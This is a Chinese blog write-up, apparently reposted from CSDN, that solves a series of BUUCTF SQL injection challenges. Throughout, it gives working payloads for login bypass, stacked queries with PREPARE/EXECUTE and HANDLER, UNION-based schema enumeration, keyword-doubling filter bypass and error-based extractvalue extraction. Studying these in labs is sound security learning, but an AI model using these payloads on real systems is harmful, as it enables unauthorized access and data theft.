CTF-SQL注入

目录

BUUCTF-[极客大挑战 2019]EasySQL

BUUCTF-[强网杯 2019]随便注

方法一

方法二 

BUUCTF-Blacklist

BUUCTF-[SUCTF 2019]EasySQL

BUUCTF-[极客大挑战 2019]LoveSQL

 BUUCTF-[极客大挑战 2019]BabySQL

 BUUCTF-[极客大挑战 2019]HardSQL

BUUCTF-[GXYCTF2019]BabySQli 

扫描二维码关注公众号,回复: 14431192 查看本文章

总结做到的几个CTF中的sql注入的题。下面的题目逐渐由简单到困难,逐步递增。感谢BUUCTF供题。

BUUCTF-[极客大挑战 2019]EasySQL

拿到题目是下面的界面,先尝试了弱口令。没成功。

尝试万能密码。payload:admin' or 1=1# 密码随便输入,即可实现了登录。

BUUCTF-[强网杯 2019]随便注

 这里用到的方法是堆叠注入。自己理解的堆叠注入的原理就是,如果在开启多语句的执行的情况下,可以使用拼接的方法,来实现多条语句的执行。例如1;show databases;那么这就是有两条语句组成的sql语句,会分别执行语句1和语句2.

这里判断出是字符型注入,并且有两个字段。

之后就来判断回显点。payload为-1' union select 1,2#但是发现有正则过滤的:

 这里就是用了堆叠注入。1';show databases;#

查看当前数据库中的表名:show tables;#

发现存在两个表,先来看一下表名为“1919810931114514”的表中存在的列,show columns from `1919810931114514`,这里要注意,当表名为数字的时候,在引用的时候要加上反引号。

之后就可以去查询flag中的内容,自己学会了两种方法,对于将两个表名重命名的方法,有点点没搞清楚(懂了,但没完全懂)。

方法一

由于过滤了select等关键字,所以可以使用select * from `1919810931114514`;将该条语句进行十六进制编码。使用prepare关键字来进行相应的预处理,从而实现查询。

payload:

1';set @sql = 0x73656C656374202A2066726F6D20603139313938313039333131313435313460;PREPARE hacker from @sql;EXecute hacker;#

PREPARE...from...是预处理语句,进行编码转化。

execute是用来执行由prepare创建的SQL语句。

set是对一个变量进行赋值。

方法二 

使用handler获取内容。

1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;#

接下来的blacklist就是使用handler这种方法来完成的。 

BUUCTF-Blacklist

这里看到和上面的题很类似,就采用了堆叠注入。1';show tables;#

 然后使用handler。payload为1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

BUUCTF-[SUCTF 2019]EasySQL

感觉这个题和上面的堆叠注入很相似,尝试堆叠注入:

这里尝试的payload为1;show databases;#居然报错了,然后紧接着尝试了1;show tables;#

这里尝试了好多方法都不行。比如上面的handler方法、以及使用set、prepare...from...等方法都回显nonono。束手无策了,看了大佬的wp。

输入1,回显:

Array( [0] =>  1)

输入其他的字符或者0,没有回显。

输入select、handler等关键字回显nonono

猜测这里的查询语法是

select $_GET['query'] || flag from Flag

#||操作符:如果前面为真,则后面不执行,所以我们在传入1的时候,语句就变成了select 1 from Flag;

大佬采用的方法为操作符重置的方法:set sql_mode=PIPES_AS_CONCAT;

payload:

1;set sql_mode=PIPES_AS_CONCAT;select 1

BUUCTF-[极客大挑战 2019]LoveSQL

这里前面的判断注入就不进行判断了,我直接来判断回显点。

 这里判断出2,3处可以回显。

加下来就是判断处数据库。-1' union select 1,database(),3#

 开始查表->-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='geek'),3#

 查表中的列名:-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'),3#

 

接下来就是查id,username,password等具体的内容:

 -1' union select 1,(select group_concat(id,username,password) from l0ve1ysq1),3#

 BUUCTF-[极客大挑战 2019]BabySQL

看来就是升级版咯(肯定是做了过滤吧)

同样还是先使用万能密码,admin' or 1=1#,password随便输入了。发现了报错,错误提示是1=1#右边 那就是or被过滤了,尝试双写一下。

 成功登陆进来了。紧接着就是和之前一样,先来判断字段数,之后就是判断回显点。 

 判断字段数,oorrder bbyy 4#报错,3的时候正常回显。(by关键字被过滤)

 构造payload:-admin' union select 1,2,3#但是发现了union 和 select同样也是被过滤了。还是经过了双写绕过。payload为-admin' ununionion seselectlect 1,2,3#

 下面就是查数据库名:-admin' ununionion seselectlect 1,database(),3#

查询数据库中的表: -admin' ununionion seselectlect 1,(selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'),3#  这里经过测试from和where也都被过滤了。

查列名: -admin' ununionion seselectlect 1,(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'),3# 

继续查id,password,username等信息。

-admin' ununionion seselectlect 1,(selselectect group_concat(id,username,passwoorrd) frfromom b4bsql),3# 

 BUUCTF-[极客大挑战 2019]HardSQL

又是加强版了.

哎这里输入什么都被抓住。看了一下大佬的wp,使用报错注入。其中过滤了空格和=号,可以使用()代替空格,like代替=号,用’^'来连接函数,形成异或。

故这里构造的payload为:admin'^extractvalue(1,concat(0x7e,database()))#

随后就是查表名和列名。

查询表名:

admin'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))#

查询列名:

admin'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))#

接下来就是查询具体的信息

admin'^extractvalue(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1))))#

 哦吼,需要改一下了查询left的20个字符。使用到了right和left。

admin'^extractvalue(1,concat(0x7e,(select(left(password,30))from(H4rDsq1))))#
admin'^extractvalue(1,concat(0x7e,(select(right(password,30))from(H4rDsq1))))#

分别爆左右:

 

BUUCTF-[GXYCTF2019]BabySQli 

进入登录界面,尝试万能密码

发现注释中的编码,尝试解码,base32解码得到了base64编码,在经过base64解码得到如下的代码:

select * from user where username = '$name'

这里发现如果账号不是admin的话,回显为wrong user!

 账号为admin的时候,密码不对的情况,回显为wrong pass!

 判断下字段数,结果发现了过滤。尝试下大小写。

 当为4的时候,报错了。

做到这里就不会了,看了大佬的wp,说在联合查询不存在的数据的时候,联合查询就会构造一个虚拟的数据。这里的字段1应该是id,后面才是账号和密码。所以构造一个虚拟的数据。

payload为:

name=1' union select 0,'admin','e10adc3949ba59abbe56e057f20f883e'%23&pw=123456

这个题还是要继续好好吸收一下原理。(懂但是没有完全懂)

猜你喜欢

转载自blog.csdn.net/weixin_44770698/article/details/125135186